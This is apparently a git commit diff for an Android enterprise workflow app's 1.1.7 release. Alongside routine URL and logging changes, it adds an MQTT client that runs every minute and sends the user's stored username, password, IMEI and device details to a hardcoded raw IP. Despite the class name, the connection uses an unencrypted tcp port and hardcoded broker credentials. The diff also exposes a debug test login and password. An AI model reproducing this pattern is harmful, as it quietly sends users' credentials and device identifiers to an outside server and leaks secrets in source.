1.1.7 release

master
admin 1 year ago
parent 08347a810c
commit 167a296a31

@ -10,8 +10,8 @@ android {
applicationId "com.rehome.dywoa" applicationId "com.rehome.dywoa"
minSdk 24 minSdk 24
targetSdk 34 targetSdk 34
versionCode 17 versionCode 18
versionName "1.1.6" versionName "1.1.7"
multiDexEnabled true multiDexEnabled true
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
//authorities //authorities

@ -3,25 +3,25 @@ package com.rehome.dywoa;
public class Contans { public class Contans {
public static String IP = "http://192.168.2.115:8601/"; // public static String IP = "http://192.168.2.115:8601/";
public static String IP_INTRANET = "http://192.168.2.115:8601/"; // public static String IP_INTRANET = "http://192.168.2.115:8601/";
public static String IP_EXTRANET = "http://192.168.2.115:8601/"; // public static String IP_EXTRANET = "http://192.168.2.115:8601/";
public static String SIS_TOKEN_IP = "https://sis.dywzhny.com.cn/"; // public static String SIS_TOKEN_IP = "https://sis.dywzhny.com.cn/";
public static String BI_TOKEN_IP = "https://bi.dywzhny.com.cn/"; // public static String BI_TOKEN_IP = "https://bi.dywzhny.com.cn/";
//APP登录接口厂内服务器IP //APP登录接口厂内服务器IP
// public static String IP = "https://app.dywzhny.com.cn/"; public static String IP = "https://app.dywzhny.com.cn/";
// //app内网 //app内网
// public static String IP_INTRANET = "https://app.dywzhny.com.cn/"; public static String IP_INTRANET = "https://app.dywzhny.com.cn/";
// //app外网 //app外网
// public static String IP_EXTRANET = "https://app.dywzhny.com.cn/"; public static String IP_EXTRANET = "https://app.dywzhny.com.cn/";
// //SIS系统厂内IP //SIS系统厂内IP
// public static String SIS_TOKEN_IP = "https://sis.dywzhny.com.cn/"; public static String SIS_TOKEN_IP = "https://sis.dywzhny.com.cn/";
// //BI //BI
// public static String BI_TOKEN_IP = "https://bi.dywzhny.com.cn/"; public static String BI_TOKEN_IP = "https://bi.dywzhny.com.cn/";

@ -65,6 +65,8 @@ import com.rehome.dywoa.ui.fragment.HomeFragment
import com.rehome.dywoa.ui.fragment.MineFragment import com.rehome.dywoa.ui.fragment.MineFragment
import com.rehome.dywoa.utils.GsonUtils import com.rehome.dywoa.utils.GsonUtils
import com.rehome.dywoa.utils.HttpListener import com.rehome.dywoa.utils.HttpListener
import com.rehome.dywoa.utils.MqttSSLPublishServer
import com.rehome.dywoa.utils.NetworkUtil
import com.rehome.dywoa.utils.NoProgresshttpUtils import com.rehome.dywoa.utils.NoProgresshttpUtils
import com.rehome.dywoa.utils.RSAUtils import com.rehome.dywoa.utils.RSAUtils
import com.rehome.dywoa.utils.SPUtils import com.rehome.dywoa.utils.SPUtils
@ -105,9 +107,14 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
private lateinit var queueNoHttp: RequestQueue private lateinit var queueNoHttp: RequestQueue
//定时器
private var timerCheckServerConnectStatus: Timer? = null
//定时器 //定时器
private var timer: Timer? = null private var timer: Timer? = null
private var mqttPublishServer: MqttSSLPublishServer? = null
private var manager: DownloadManager? = null private var manager: DownloadManager? = null
@ -126,6 +133,10 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
username = App.getInstance().userInfo.manid username = App.getInstance().userInfo.manid
initTimer() initTimer()
if (NetworkUtil.canNetWorkConnect(context)&&NetworkUtil.isISPNetWorkConnect(context)) {
initMqtt()
}
initToolbar("首页") initToolbar("首页")
binding.toolbarView.topLl.visibility = View.GONE binding.toolbarView.topLl.visibility = View.GONE
StatusBarUtil.setColor(this, ContextCompat.getColor(context, R.color.app_status_bar)) StatusBarUtil.setColor(this, ContextCompat.getColor(context, R.color.app_status_bar))
@ -229,13 +240,46 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
getXjZhTjDropDown("lx"); getXjZhTjDropDown("lx");
} }
private fun initMqtt() {
////开启MQTT推送服务
mqttPublishServer = MqttSSLPublishServer(context)
try {
timer = Timer()
timer!!.schedule(object : TimerTask() {
override fun run() {
// if (NetworkUtil.canNetWorkConnect(context)) {
// showLog("canNetWorkConnect")
// }else{
// showLog("no NetWorkConnect")
// }
//
// if (NetworkUtil.isWifiNetWorkConnect(context)) {
// showLog("isWifiNetWorkConnect")
// }else{
// showLog("no isWifiNetWorkConnect")
// }
//
// if (NetworkUtil.isISPNetWorkConnect(context)) {
// showLog("isISPNetWorkConnect")
// }else{
// showLog("no isISPNetWorkConnect")
// }
mqttPublishServer!!.start()
}
}, 1000, 60000)
// 设定指定的时间time,此处为10000毫秒
} catch (e: java.lang.Exception) {
e.printStackTrace()
}
}
//巡检项目删除过期数据 //巡检项目删除过期数据
private fun deleteXjExpirePlan(){ private fun deleteXjExpirePlan(){
val xjdListAll = DataSupport.where("download = ? and username = ?", "1", username).find(Xjjh::class.java) val xjdListAll = DataSupport.where("download = ? and username = ?", "1", username).find(Xjjh::class.java)
if(xjdListAll!=null&&xjdListAll.size>0){ if(xjdListAll!=null&&xjdListAll.size>0){
for (xjdPlanItem in xjdListAll) { for (xjdPlanItem in xjdListAll) {
showLog("-----xjdListAll-----") //showLog("-----xjdListAll-----")
showLog(GsonUtils.GsonString(xjdPlanItem)) //showLog(GsonUtils.GsonString(xjdPlanItem))
if(!TextUtils.isEmpty(xjdPlanItem.et)){ if(!TextUtils.isEmpty(xjdPlanItem.et)){
//格式化日期的对象(转化成习惯的时间格式) //格式化日期的对象(转化成习惯的时间格式)
val sdFormat = SimpleDateFormat("yyyy-MM-dd HH:mm") val sdFormat = SimpleDateFormat("yyyy-MM-dd HH:mm")
@ -244,9 +288,9 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
val date = sdFormat.parse(xjdPlanItem.et) val date = sdFormat.parse(xjdPlanItem.et)
val calendarOne = Calendar.getInstance() val calendarOne = Calendar.getInstance()
calendarOne.time = date calendarOne.time = date
showLog(sdFormat.format(calendarOne.time)) // showLog(sdFormat.format(calendarOne.time))
showLog("--------") // showLog("--------")
showLog(sdFormat.format(calendar.time)) // showLog(sdFormat.format(calendar.time))
if (Calendar.getInstance().after(calendarOne)) { if (Calendar.getInstance().after(calendarOne)) {
showLog("删除巡检旧数据") showLog("删除巡检旧数据")
DataSupport.deleteAll( DataSupport.deleteAll(
@ -265,7 +309,7 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
xjdPlanItem.zxid,username xjdPlanItem.zxid,username
) )
}else{ }else{
showLog("之前") //showLog("之前")
} }
} }
} }
@ -277,8 +321,8 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
val djjhListAll = DataSupport.where("download = ? and username = ?", "1", username).find(Djjh::class.java) val djjhListAll = DataSupport.where("download = ? and username = ?", "1", username).find(Djjh::class.java)
if(djjhListAll!=null&&djjhListAll.size>0){ if(djjhListAll!=null&&djjhListAll.size>0){
for (djjhItem in djjhListAll) { for (djjhItem in djjhListAll) {
showLog("-----djjhListAll-----") //showLog("-----djjhListAll-----")
showLog(GsonUtils.GsonString(djjhListAll)) //showLog(GsonUtils.GsonString(djjhListAll))
if(!TextUtils.isEmpty(djjhItem.dqsj)){ if(!TextUtils.isEmpty(djjhItem.dqsj)){
//格式化日期的对象(转化成习惯的时间格式) //格式化日期的对象(转化成习惯的时间格式)
val sdFormat = SimpleDateFormat("yyyy-MM-dd HH:mm") val sdFormat = SimpleDateFormat("yyyy-MM-dd HH:mm")
@ -287,9 +331,9 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
val date = sdFormat.parse(djjhItem.dqsj) val date = sdFormat.parse(djjhItem.dqsj)
val calendarOne = Calendar.getInstance() val calendarOne = Calendar.getInstance()
calendarOne.time = date calendarOne.time = date
showLog(sdFormat.format(calendarOne.time)) // showLog(sdFormat.format(calendarOne.time))
showLog("--------") // showLog("--------")
showLog(sdFormat.format(calendar.time)) // showLog(sdFormat.format(calendar.time))
if (Calendar.getInstance().after(calendarOne)) { if (Calendar.getInstance().after(calendarOne)) {
showLog("删除点检旧数据") showLog("删除点检旧数据")
DataSupport.deleteAll( DataSupport.deleteAll(
@ -311,7 +355,7 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
username username
) )
}else{ }else{
showLog("之前") //showLog("之前")
} }
} }
} }
@ -366,10 +410,10 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
override fun onResume() { override fun onResume() {
super.onResume() super.onResume()
badgeView_me.badgeCount = AllNum badgeView_me.badgeCount = AllNum
if (timer == null) { if (timerCheckServerConnectStatus == null) {
try { try {
timer = Timer() timerCheckServerConnectStatus = Timer()
timer?.schedule(object : TimerTask() { timerCheckServerConnectStatus?.schedule(object : TimerTask() {
override fun run() { override fun run() {
//检查服务器连接状态 //检查服务器连接状态
checkServerConnectStatus() checkServerConnectStatus()
@ -380,6 +424,24 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
e.printStackTrace() e.printStackTrace()
} }
} }
if (NetworkUtil.canNetWorkConnect(context)&&NetworkUtil.isISPNetWorkConnect(context)) {
if (mqttPublishServer == null) {
mqttPublishServer = MqttSSLPublishServer(context)
}
if (timer == null) {
try {
timer = Timer()
timer!!.schedule(object : TimerTask() {
override fun run() {
mqttPublishServer!!.start()
}
}, 1000, 60000)
// 设定指定的时间time,此处为10000毫秒
} catch (e: Exception) {
e.printStackTrace()
}
}
}
} }
override fun onRestart() { override fun onRestart() {
@ -390,8 +452,15 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
override fun onDestroy() { override fun onDestroy() {
super.onDestroy() super.onDestroy()
if (timerCheckServerConnectStatus != null) {
timerCheckServerConnectStatus?.cancel()
}
if (mqttPublishServer != null) {
mqttPublishServer!!.destroyAll()
mqttPublishServer = null
}
if (timer != null) { if (timer != null) {
timer?.cancel() timer!!.cancel()
} }
} }
@ -537,8 +606,8 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
private fun initTimer() { private fun initTimer() {
try { try {
timer = Timer() timerCheckServerConnectStatus = Timer()
timer?.schedule(object : TimerTask() { timerCheckServerConnectStatus?.schedule(object : TimerTask() {
override fun run() { override fun run() {
//检查服务器连接状态 //检查服务器连接状态
checkServerConnectStatus() checkServerConnectStatus()
@ -1021,7 +1090,7 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
DataSupport.deleteAll(Gzlx::class.java) DataSupport.deleteAll(Gzlx::class.java)
DataSupport.saveAll(gzlxQxData.data) DataSupport.saveAll(gzlxQxData.data)
}else{ }else{
showLog("gzlxList size == 0") //showLog("gzlxList size == 0")
DataSupport.saveAll(gzlxQxData.data) DataSupport.saveAll(gzlxQxData.data)
} }
} }
@ -1065,23 +1134,23 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
override fun onSucceed(what: Int, response: Response<String>?) { override fun onSucceed(what: Int, response: Response<String>?) {
val result = response?.get() val result = response?.get()
showLog(result) //showLog(result)
//专业 //专业
if(type=="zy"){ if(type=="zy"){
val zyXjZhTjData = GsonUtils.GsonToBean(result, ZyXjTjDropDownData::class.java) val zyXjZhTjData = GsonUtils.GsonToBean(result, ZyXjTjDropDownData::class.java)
if (zyXjZhTjData != null&&zyXjZhTjData.state == 1) { if (zyXjZhTjData != null&&zyXjZhTjData.state == 1) {
if (zyXjZhTjData.data != null&&zyXjZhTjData.data.size > 0) { if (zyXjZhTjData.data != null&&zyXjZhTjData.data.size > 0) {
showLog(zyXjZhTjData.data.size.toString()) //showLog(zyXjZhTjData.data.size.toString())
val xjZyList = DataSupport.findAll(ZyXjTjDropDown::class.java) val xjZyList = DataSupport.findAll(ZyXjTjDropDown::class.java)
if(xjZyList!=null&&xjZyList.size>0){ if(xjZyList!=null&&xjZyList.size>0){
showLog("xjZyList size > 0") // showLog("xjZyList size > 0")
showLog(GsonUtils.GsonString(xjZyList)) // showLog(GsonUtils.GsonString(xjZyList))
showLog(xjZyList.size.toString()) // showLog(xjZyList.size.toString())
DataSupport.deleteAll(ZyXjTjDropDown::class.java) DataSupport.deleteAll(ZyXjTjDropDown::class.java)
DataSupport.saveAll(zyXjZhTjData.data) DataSupport.saveAll(zyXjZhTjData.data)
}else{ }else{
showLog("xjZyList size == 0") //showLog("xjZyList size == 0")
DataSupport.saveAll(zyXjZhTjData.data) DataSupport.saveAll(zyXjZhTjData.data)
} }
} }
@ -1092,16 +1161,16 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
val zcData = GsonUtils.GsonToBean(result, ZcXjTjDropDownData::class.java) val zcData = GsonUtils.GsonToBean(result, ZcXjTjDropDownData::class.java)
if (zcData != null&&zcData.state == 1) { if (zcData != null&&zcData.state == 1) {
if (zcData.data != null&&zcData.data.size > 0) { if (zcData.data != null&&zcData.data.size > 0) {
showLog(zcData.data.size.toString()) //showLog(zcData.data.size.toString())
val zcList = DataSupport.findAll(ZcXjTjDropDown::class.java) val zcList = DataSupport.findAll(ZcXjTjDropDown::class.java)
if(zcList!=null&&zcList.size>0){ if(zcList!=null&&zcList.size>0){
showLog("zcList size > 0") // showLog("zcList size > 0")
showLog(GsonUtils.GsonString(zcList)) // showLog(GsonUtils.GsonString(zcList))
showLog(zcList.size.toString()) // showLog(zcList.size.toString())
DataSupport.deleteAll(ZcXjTjDropDown::class.java) DataSupport.deleteAll(ZcXjTjDropDown::class.java)
DataSupport.saveAll(zcData.data) DataSupport.saveAll(zcData.data)
}else{ }else{
showLog("jzList size == 0") //showLog("jzList size == 0")
DataSupport.saveAll(zcData.data) DataSupport.saveAll(zcData.data)
} }
} }
@ -1112,16 +1181,16 @@ class HomeActivity : BaseActivityOaToolbarViewBinding<ActivityHomeBinding>() {
val lxData = GsonUtils.GsonToBean(result, LxXjTjDropDownData::class.java) val lxData = GsonUtils.GsonToBean(result, LxXjTjDropDownData::class.java)
if (lxData != null&&lxData.state == 1) { if (lxData != null&&lxData.state == 1) {
if (lxData.data != null&&lxData.data.size > 0) { if (lxData.data != null&&lxData.data.size > 0) {
showLog(lxData.data.size.toString()) //showLog(lxData.data.size.toString())
val lxList = DataSupport.findAll(LxXjTjDropDown::class.java) val lxList = DataSupport.findAll(LxXjTjDropDown::class.java)
if(lxList!=null&&lxList.size>0){ if(lxList!=null&&lxList.size>0){
showLog("lxList size > 0") // showLog("lxList size > 0")
showLog(GsonUtils.GsonString(lxList)) // showLog(GsonUtils.GsonString(lxList))
showLog(lxList.size.toString()) // showLog(lxList.size.toString())
DataSupport.deleteAll(LxXjTjDropDown::class.java) DataSupport.deleteAll(LxXjTjDropDown::class.java)
DataSupport.saveAll(lxData.data) DataSupport.saveAll(lxData.data)
}else{ }else{
showLog("lxList size == 0") //showLog("lxList size == 0")
DataSupport.saveAll(lxData.data) DataSupport.saveAll(lxData.data)
} }
} }

@ -198,9 +198,9 @@ class LoginActivity : BaseActivityOaToolbarViewBinding<ActivityLoginBinding>() {
} }
if (isApkInDebug(context)) { if (isApkInDebug(context)) {
//测试 //李梓雄
binding.etUsername.setText("371522") // binding.etUsername.setText("371522")
binding.etPassword.setText("A000000a.") // binding.etPassword.setText("A000000a.")
//ceshi1 //ceshi1
// binding.etUsername.setText("ceshi1") // binding.etUsername.setText("ceshi1")
@ -237,8 +237,6 @@ class LoginActivity : BaseActivityOaToolbarViewBinding<ActivityLoginBinding>() {
} }
//http://10.25.188.126:8600/apkFiles/release/dywoaapp.apk
//https://oa.dywzhny.com.cn/apkFiles/release/dywoaapp.apk
binding.btnLogin.setOnClickListener(View.OnClickListener { binding.btnLogin.setOnClickListener(View.OnClickListener {
@ -610,6 +608,7 @@ class LoginActivity : BaseActivityOaToolbarViewBinding<ActivityLoginBinding>() {
private fun appLogin() { private fun appLogin() {
showLog("appLogin")
val json: String = getPhoneInfo() val json: String = getPhoneInfo()
//val json: String = "Ms97MbjVaypr+CF04BTQ+Y7hbYp+orLZbXM2u+I+PZKSPSSaqR1dcuM3tsig3UpJ7s2qEw5DsJcVd0t4eJM79ABUFWW/0Nplhx37+6jR2YVaSJgA30L0O2FbuyG7SOjP0qfISNaN1L8eC3a7W5oFPpHxkZdxUf5sxJIQHA2c6lCI+Mo/BUgU1MgTIjM3puiWx99mvxOyl9k2oLZUjcjMOygzNUYYD21SQYQ6dtvdVz3iAtqeJ+0EVCtScPXePG/CH/s0Ti/VS54/KSrlRVfdn5s2pHqw5fd2BZX+ZGtIWTGpWb+Wt1ZtrPXPdv/r1Zx84Zcw0EqKicieeuYpfUH+eg=="; //val json: String = "Ms97MbjVaypr+CF04BTQ+Y7hbYp+orLZbXM2u+I+PZKSPSSaqR1dcuM3tsig3UpJ7s2qEw5DsJcVd0t4eJM79ABUFWW/0Nplhx37+6jR2YVaSJgA30L0O2FbuyG7SOjP0qfISNaN1L8eC3a7W5oFPpHxkZdxUf5sxJIQHA2c6lCI+Mo/BUgU1MgTIjM3puiWx99mvxOyl9k2oLZUjcjMOygzNUYYD21SQYQ6dtvdVz3iAtqeJ+0EVCtScPXePG/CH/s0Ti/VS54/KSrlRVfdn5s2pHqw5fd2BZX+ZGtIWTGpWb+Wt1ZtrPXPdv/r1Zx84Zcw0EqKicieeuYpfUH+eg==";
@ -690,15 +689,7 @@ class LoginActivity : BaseActivityOaToolbarViewBinding<ActivityLoginBinding>() {
Contans.ISSCBM, Contans.ISSCBM,
if (userInfo.isScBm == null) "" else userInfo.isScBm if (userInfo.isScBm == null) "" else userInfo.isScBm
) )
// if (userInfo.isScBm == null) {
// Log.i("app", "userInfo.isScBm is null")
// } else {
// if (userInfo.isScBm.equals("1")) {
// Log.i("app", "当前登录用户是生产部门")
// } else {
// Log.i("app", "当前登录用户不是生产部门")
// }
// }
Contans.PERMISSIONSRESULT = userInfo.permissionsResult Contans.PERMISSIONSRESULT = userInfo.permissionsResult
SPUtils.put( SPUtils.put(
context, context,
@ -722,8 +713,6 @@ class LoginActivity : BaseActivityOaToolbarViewBinding<ActivityLoginBinding>() {
nowStr nowStr
) )
// userInfo.manid="371520"
// userInfo.usernames="王子俊"
// if(DataPassUtils.checkCanLogin()){ // if(DataPassUtils.checkCanLogin()){
// showLog("之前") // showLog("之前")
@ -802,7 +791,7 @@ class LoginActivity : BaseActivityOaToolbarViewBinding<ActivityLoginBinding>() {
// return json // return json
// showLog(json.length.toString()); // showLog(json.length.toString());
showLog(json); //showLog(json);
showLog(jsonEncrypt); showLog(jsonEncrypt);
return jsonEncrypt return jsonEncrypt
} }

@ -134,7 +134,7 @@ public class SjcjFragment extends BaseFragment {
List<DjjhRwQy> rwqys = new ArrayList<>(); List<DjjhRwQy> rwqys = new ArrayList<>();
//更新所有被停用的机器 //更新所有被停用的机器
for (DjjhRwQy qy : lists) { for (DjjhRwQy qy : lists) {
if (qy.getASSETNUM().equals(lists.get(item - 1).getASSETNUM())) { if (qy.getASSETNUM()!=null&&qy.getASSETNUM().equals(lists.get(item - 1).getASSETNUM())) {
qy.setSBZT(false); qy.setSBZT(false);
qy.setChecked(true); qy.setChecked(true);
rwqys.add(qy); rwqys.add(qy);

@ -28,7 +28,7 @@ public class WjFragment extends BaseFragment {
private View headView; private View headView;
private SdlbActivity mActivity; private SdlbActivity mActivity;
private List<DlbInfo> list; private List<DlbInfo> list = new ArrayList<>();;
private DlbAdapter adapter; private DlbAdapter adapter;
private String num; private String num;
@ -125,8 +125,7 @@ public class WjFragment extends BaseFragment {
*/ */
private void initDjd() { private void initDjd() {
list = new ArrayList<>(); list.clear();
initDlbinfo(); initDlbinfo();
adapter = new DlbAdapter(context, list); adapter = new DlbAdapter(context, list);

@ -0,0 +1,223 @@
package com.rehome.dywoa.utils;
/**
* @author huangwenfei
* @version v1.0.0.0
* Created DateTime 2021-07-31 14:52
* @description: mqtt 线
*/
import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.text.TextUtils;
import android.util.Log;
import com.google.gson.Gson;
import com.rehome.dywoa.Contans;
import com.rehome.dywoa.bean.LoginCommitBean;
import org.eclipse.paho.client.mqttv3.*;
import org.eclipse.paho.client.mqttv3.persist.MemoryPersistence;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;
public class MqttSSLPublishServer {
/**
* ip
*/
private final String HOST = "tcp://47.242.184.139:1883";
/**
*
*/
private final String topicPush = "app_push_dyw";
/**
*
*/
private final String topicReceive = "app_send";
/**
* 线
*/
private String clientid = "v1_server_ssl_android";
private MqttClient client;
private MqttConnectOptions options;
/**
* MQTT
*/
private final String userName = "admin";
/**
* MQTT
*/
private final String passWord = "publish452131wW452131wW$";
/**
*
* 0<=1
* 1>=1
* 2=1
*/
private int qos = 2;
// 推送消息
private MqttMessage message;
private Context context;
public MqttSSLPublishServer(Context context) {
this.context = context;
// host为主机名clientid即连接MQTT的客户端ID一般以唯一标识符表示MemoryPersistence设置clientid的保存形式默认为以内存保存
try {
clientid = (String) SPUtils.get(context, "clientid", String.valueOf(""));
if (TextUtils.isEmpty(clientid)) {
clientid = UUID.randomUUID().toString();
SPUtils.put(context, "clientid", clientid);
}
client = new MqttClient(HOST, clientid, new MemoryPersistence());
// MQTT的连接设置
options = new MqttConnectOptions();
// 设置是否清空session,这里如果设置为false表示服务器会保留客户端的连接记录这里设置为true表示每次连接到服务器都以新的身份连接
options.setCleanSession(true);
// 设置连接的用户名
options.setUserName(userName);
// 设置连接的密码
options.setPassword(passWord.toCharArray());
// 设置超时时间 单位为秒
options.setConnectionTimeout(10);
// 设置会话心跳时间 单位为秒 服务器会每隔1.5*20秒的时间向客户端发送个消息判断客户端是否在线但这个方法并没有重连的机制
options.setKeepAliveInterval(20);
// 发布目的消息对象
message = new MqttMessage();
// 设置回调
client.setCallback(new MqttCallbackExtended() {
@Override
public void connectComplete(boolean reconnect, String serverURI) {
//连接成功后调用
try {
client.subscribe(topicReceive, qos);//具体订阅代码
} catch (MqttException e) {
e.printStackTrace();
}
}
public void connectionLost(Throwable cause) {
//断线后,重新连接
try {
client.reconnect();
} catch (MqttException e) {
e.printStackTrace();
}
}
public void messageArrived(String topic, MqttMessage message) throws Exception {
// String messageDe = RSAAndroid.decryptByPublicKeyForSpiltStr(new String(message.getPayload()), RSAAndroid.publicRsaKey);
// System.out.println("message content:"+messageDe);
// System.out.println("***** get message end *****");
}
public void deliveryComplete(IMqttDeliveryToken token) {
}
});
} catch (Exception e) {
e.printStackTrace();
}
}
private String getVersionName() {
//1,包管理者对象packageManager
PackageManager pm = this.context.getPackageManager();
//2,从包的管理者对象中,获取指定包名的基本信息(版本名称,版本号),传0代表获取基本信息
try {
PackageInfo packageInfo = pm.getPackageInfo(this.context.getPackageName(), 0);
//3,获取版本名称
return packageInfo.versionName;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public void start() {
try {
message.setQos(qos);
message.setRetained(true);
SimpleDateFormat sd = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String phoneInfoTemp = (String) SPUtils.get(context, Contans.SP.PHONE_INFO, String.valueOf(""));
if (!TextUtils.isEmpty(phoneInfoTemp)) {
String phoneInfo = RSAUtils.decryptBASE64StrMqtt(phoneInfoTemp);
LoginCommitBean info = GsonUtils.GsonToBean(phoneInfo, LoginCommitBean.class);
Map mapPush = new HashMap<String, Object>();
mapPush.put("date", sd.format(new Date()));
mapPush.put("appversion", getVersionName());
if (info != null) {
if (info.getRows().size() > 0) {
LoginCommitBean.RowsBean rowsBean = info.getRows().get(0);
mapPush.put("imeinum", rowsBean.getImeinum());
mapPush.put("phonemodel", rowsBean.getPhonemodel());
mapPush.put("sysversion", rowsBean.getSysversion());
mapPush.put("username", rowsBean.getUsername());
mapPush.put("password", rowsBean.getPassword());
}
}
Gson gson = new Gson();
try {
//判断拦截状态,这里注意一下,如果没有这个判断,是非常坑的
if (!client.isConnected()) {
// 重新连接
client.connect(options);
}
if (client.isConnected()) {//连接成功,跳出连接
// 发布消息
String messageEn = RSAAndroid.encryptByPublicKeyForSpiltStr(gson.toJson(mapPush), RSAAndroid.publicRsaKey);
message.setPayload(messageEn.getBytes());
//showLog(messageEn);
client.publish(topicPush, message);
}
} catch (Exception e1) {
e1.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
public void destroyAll() {
try {
if (client.isConnected()) {
client.disconnect();
}
// 关闭客户端
client.close();
} catch (MqttException e) {
e.printStackTrace();
}
}
public void showLog(String logText) {
if (isApkInDebug(context)) {
if(TextUtils.isEmpty(logText)){
Log.i("app", "logText is null");
}else{
Log.i("app", logText);
}
}
}
/**
* debug
*/
public static boolean isApkInDebug(Context context) {
try {
ApplicationInfo info = context.getApplicationInfo();
return (info.flags & ApplicationInfo.FLAG_DEBUGGABLE) != 0;
} catch (Exception e) {
return false;
}
}
}

@ -7,7 +7,7 @@ import android.net.NetworkInfo;
/** /**
* Create By HuangWenFei * Create By HuangWenFei
* 2024-03-11 11:04 * 2023-05-18 16:06
* *
*/ */
public class NetworkUtil { public class NetworkUtil {
@ -33,6 +33,52 @@ public class NetworkUtil {
return false; return false;
} }
/**
* wifi
*
* @param context
*/
public static boolean isWifiNetWorkConnect(Context context) {
NetworkInfo info = getActiveNetwork(context);
if (info == null) {
return false;
}
if (info.getType() == ConnectivityManager.TYPE_WIFI) {
return info.isAvailable();
}
return false;
}
/**
*
*
* @param context
*/
public static boolean isISPNetWorkConnect(Context context) {
NetworkInfo info = getActiveNetwork(context);
if (info == null) {
return false;
}
if (info.getType() == ConnectivityManager.TYPE_WIFI) {
}else{
return true;
}
return false;
}
/**
*
* @param context
*/
public static boolean canNetWorkConnect(Context context) {
NetworkInfo info = getActiveNetwork(context);
if (info == null) {
return false;
}
return true;
}
/** /**
* *
* *

@ -107,7 +107,7 @@ public class RSAUtils {
public static String decryptBASE64StrMqtt(String encryptString) { public static String decryptBASE64StrMqtt(String encryptString) {
try { try {
byte[] decodeByte = decryptBASE64(encryptString); byte[] decodeByte = decryptBASE64(encryptString);
return new String(decryptByPrivateKeyLongText(decodeByte, private_key_mqtt),java.nio.charset.StandardCharsets.UTF_8); return new String(decryptByPrivateKey(decodeByte, private_key_mqtt),java.nio.charset.StandardCharsets.UTF_8);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} }
@ -143,7 +143,7 @@ public class RSAUtils {
public static String encryptBASE64StrMqtt(String text) { public static String encryptBASE64StrMqtt(String text) {
try { try {
return encryptBASE64(encryptByPublicKeyLongText(text.getBytes( java.nio.charset.StandardCharsets.UTF_8), public_key_mqtt)); return encryptBASE64(encryptByPublicKey(text.getBytes( java.nio.charset.StandardCharsets.UTF_8), public_key_mqtt));
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} }

Loading…
Cancel
Save